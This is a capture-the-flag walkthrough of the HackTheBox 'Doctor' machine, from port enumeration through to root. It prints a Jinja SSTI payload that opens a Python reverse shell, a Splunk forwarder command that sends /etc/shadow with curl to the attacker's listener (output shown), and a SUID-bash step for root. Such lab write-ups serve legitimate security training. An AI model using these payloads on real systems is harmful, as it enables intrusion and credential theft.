HackTheBox: Doctor — WalkThrough
Today, we will be doing Doctor from HackTheBox which is labeled as an easy-level box that aims at teaching web enumeration, server side template injection, logfiles analysis and splunkd universal forwarder exploitation. Without further ado, let’s connect to our HTB OpenVPN network and start hacking!!!
Enumerating Open Ports
$ nmap -p- --min-rate=10000 doctor.htb -vvv
Starting Nmap 7.91 ( https://nmap.org ) at 2022-07-09 00:03 +0545
Initiating Ping Scan at 00:03
Scanning doctor.htb (10.129.2.21) [2 ports]
Nmap scan report for doctor.htb (10.129.2.21)
Host is up, received syn-ack (0.29s latency).
Scanned at 2022-07-09 00:03:27 +0545 for 47s
Not shown: 65532 filtered ports
Reason: 65532 no-responses
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
8089/tcp open unknown syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.70 seconds
Three ports (22,80 and 8089) were found to be open.
Detailed Nmap Scan
$ sudo nmap -sC -sV -O -p22,80,8089 doctor.htb -vvv
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzyPiL1j9E6lyOgxqgosQ64mBwocTGo1DpclHHV5w28qPbnBJL32hfDNgUhAeaq7PL8zOQlKWprEnkfBNTUagvcX7deMgPsJ6zow/K+WPqIUU5+LbQQ9TV6YeiWiPrO1W9dwwY0ZTXkkG6905kLDsKtCQZqt0VUGPiyWnZswXwWjbBo9KBF1dctUKv+MuyPLQ2qA
r5X9LL21/tWw0fLrIKLkCvdaMI9tVYXeFNZ1WyJSI4BfCB5OrNzpr4RN/CaGSjSiBGn2zkegsk+zJpePSp9qfP/fMwEyDQ1c8kei0g35Neaw5Mob1q3R0L6w8fTAnsYo9bYlnHNOl4Juon0QaOfzDry/c4Hmwi43ypeUlv2zUdgGDUdemG79/nHx/rtLbBvdROI3UIjn6HOweHJs9VmwUjx509xZGoCwRcB0lIrDg9pW
itWbg+qMTBvvYrLWgSovjpnilu8OcVituQHoXrrLMFVREY0SzF7K6SqbBO7QTrKODzrf1aH5gdgQNCE18=
| 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOHMC7+4t7zcs7cPg4JoOZiJF+MiORNU6ky66rLocXDEySgRgkeNf2uzjblvpnn2QYid7TCQUwQ/6Bbz2yFM7jg=
| 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEF0lJKhEknY94/rK0D2et4K9Tp2E6CsYp0GxwdNJGhs
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open ssl/http syn-ack ttl 63 Splunkd httpd
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
| http-robots.txt: 1 disallowed entry
Apache webserver seems to be running on port 80 with the http-title Doctor
and splunkd
on port 8089. Let’s check the website that we’ve got. Playing around a bit, I couldn’t find anything outstanding so let’s move forward with the directory enumeration.
└─$ ffuf -c -w /opt/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://doctor.htb/FUZZ -e .html,.txt,.zip
about.html [Status: 200, Size: 19848, Words: 5808, Lines: 504]
contact.html [Status: 200, Size: 19848, Words: 5808, Lines: 504]
blog.html [Status: 200, Size: 19848, Words: 5808, Lines: 504]
index.html [Status: 200, Size: 19848, Words: 5808, Lines: 504]
images [Status: 301, Size: 309, Words: 20, Lines: 10]
services.html [Status: 200, Size: 19848, Words: 5808, Lines: 504]
css [Status: 301, Size: 306, Words: 20, Lines: 10]
js [Status: 301, Size: 305, Words: 20, Lines: 10]
departments.html [Status: 200, Size: 19848, Words: 5808, Lines: 504]
fonts [Status: 301, Size: 308, Words: 20, Lines: 10]
.html [Status: 403, Size: 275, Words: 20, Lines: 10]
[Status: 200, Size: 19848, Words: 5808, Lines: 504]
server-status [Status: 403, Size: 275, Words: 20, Lines: 10]
Seems no luck. All of those endpoints can be easily navigated from the UI itself. Let’s have a look at port 8089
. Upon researching, I came to find out that this is an instance of Splunk Universal Forwarder that is being publicly exposed. /rpc
and /static
gave 404 errors while /services
and /serviceNS
was protected with Basic Authentication. Upon searching for “splunkd 8089 exploit”, I got to this tool in github but got to know it requires credentials to authenticate. So, I will leave this for a later part.
Looking deeper into the website, one of the hostname is leaked doctors.htb
. I added it into the /etc/hosts
file and on navigating to the site, I see a login form.
After trying some basic SQL injection, I gave up on that. Since there is a option for user registration, let’s register us an account and see what’s inside.
Exploiting SSTI
After logging in, we can create new posts using New Message
. Since the homepage is reflecting the exact input that I gave to it, this is the time to try some XSS/SSTI. From the weserver response, I can say that doctors.htb
is being served by a python Flask application so let’s try some jinja template injection payloads.
On the homepage itself, the inputs are being properly handled i.e, no SSTI 🙁 Upon looking at the page source-code, endpoint /archive
is leaked which is still under beta testing which means more chance of misconfigurations.
/archive
shows an XML that contains the title of the messages that we wrote in the homepage. Let’s see if this page is vulnerable to SSTI.
Looks like it is. Without further ado, I grabbed the reverse shell RCE payload from PayloadAllTheThings and gave it a try. The payload is given below:
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"LOCAL_IP\",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
User Shell
Voila! We got a shell back as an user web
. Also one thing to notice is that we are a member of the group adm
i.e, we can read the log files owned by root
. After looking for sudo -l
, suid-misconfiguration
and contab
I gave up and went on skimming through the apache log files.
web@doctor:/var/log/apache2$ grep "passw" * | awk -F " " '{print $7}' | sort | uniq -c
--------SNIP----------
2 /reset_password
1 /resetpassword
1 /reset_password?email=Guitar123"
1 /reset_password.html
1 /resetpassword.html
--------SNIP----------
And one of the log entries contain the probable password Guitar123
in the get request which is very unlikely. Let’s give this password a try with shaun
account and luckily, that worked. Seems like no way for vertical privilege escalation with this user too, I decided to go back with the splunkd
exploit.
shaun@doctor:/home/web$ find / -user root -perm -4000 -exec ls -l {} \; 2>/dev/null
-rwsr-xr-x 1 root root 53040 Mai 28 2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 68208 Mai 28 2020 /usr/bin/passwd
-rwsr-xr-x 1 root root 39144 Apr 2 2020 /usr/bin/umount
-rwsr-xr-x 1 root root 166056 Feb 3 2020 /usr/bin/sudo
-rwsr-xr-x 1 root root 14728 Jun 22 2020 /usr/bin/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 44784 Mai 28 2020 /usr/bin/newgrp
-rwsr-xr-x 1 root root 39144 Mär 7 2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 67816 Apr 2 2020 /usr/bin/su
-rwsr-xr-x 1 root root 55528 Apr 2 2020 /usr/bin/mount
-rwsr-xr-x 1 root root 85064 Mai 28 2020 /usr/bin/chfn
-rwsr-xr-x 1 root root 88464 Mai 28 2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 31032 Aug 16 2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 1041248 Jul 26 2020 /usr/sbin/exim-4.90-6
-rwsr-xr-x 1 root root 121688 Jun 17 2020 /usr/sbin/mount.nfs
-rwsr-xr-- 1 root dip 395144 Feb 11 2020 /usr/sbin/pppd
-rwsr-xr-x 1 root root 130152 Jul 10 2020 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 22840 Aug 16 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-sr-x 1 root root 14488 Jun 24 2020 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-x 1 root root 473576 Mai 29 2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-- 1 root messagebus 51344 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
Exploiting Splunkd Universal Forwarder
The credentials shaun:Guitar123
worked for the basic-auth in splunkd. Now, I will be using PySplunkWhisperer2_remote.py
to run code within the box. Let’s try to exfiltrate the /etc/shadow
file. This worked, that means we can run code as user root
.
┌──(kiran㉿kali)-[~/…/htb/doctor/SplunkWhisperer2/PySplunkWhisperer2]
└─$ python3 PySplunkWhisperer2_remote.py --host 10.129.2.21 --username shaun --password Guitar123 --lhost 10.10.14.70 --payload "curl -F 'data=@/etc/shadow' http://10.10.14.70:4444"
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpyqqh0u09.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.70:8181/
10.129.2.21 - - [10/Jul/2022 14:12:16] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!
Press RETURN to cleanup
[.] Removing app...
[+] App removed
[+] Stopped HTTP server
Bye!
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.70] from (UNKNOWN) [10.129.2.21] 49418
POST / HTTP/1.1
Host: 10.10.14.70:4444
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 1976
Content-Type: multipart/form-data; boundary=------------------------ee263438e5908f4a
Expect: 100-continue
--------------------------ee263438e5908f4a
Content-Disposition: form-data; name="data"; filename="shadow"
Content-Type: application/octet-stream
root:$6$384TbSO3bB1PWLT1$U8U.j.zBLXobhorPDxOMRZh4eE86lcn7C0dvqRvfJ9qDzreti8HDvXwFZccDat9/HJRNwu04ErVxo3mUwVbs5.:18512:0:99999:7:::
------SNIP-------
web:$6$luVwBTOn1q154RLG$KKPgd66FyKM6z.hCPPvOYEVNoZgj/sAagvMrzWSoKrnWICgHo8oRGPzt5glRc7lm6lDfbwk3OUCIfBkYeeCHG0:18463:0:99999:7:::
------SNIP-------
shaun:$6$xEyi3OGI4XZfW7uM$dPxAIWOZuAFwJj4W69VGT.T1YLlnEvvaphLjswVs4hv5RUtJ7v7F37XfPtwst9Ije3imy4gRcRppsAZLQ81z80:18519:0:99999:7:::
splunk:!:18511:0:99999:7:::
--------------------------ee263438e5908f4a--
Root Shell
Since we have got code execution as root, let’s get a stable root shell. I will make a copy of /bin/bash
on /tmp
with SUID privileges ON. Upon executing this binary on privileged mode (using -p
mode), we became the root user.
┌──(kiran㉿kali)-[~/…/htb/doctor/SplunkWhisperer2/PySplunkWhisperer2]
└─$ python3 PySplunkWhisperer2_remote.py --host 10.129.2.21 --username shaun --password Guitar123 --lhost 10.10.14.70 --payload "cp /bin/bash /tmp;chmod 4777 /tmp/bash"
shaun@doctor:/home/shaun$ /tmp/bash -p
# whoami
root
Such a nice box. Happy Hacking!!!
Founder of cybersecnerds.com. Electronics Engineer by profession, Security Engineer by passion.
I am a Linux Enthusiast and highly interested in the offensive side of the CyberSec industry. You will find me reading InfoSec blogs most of the time.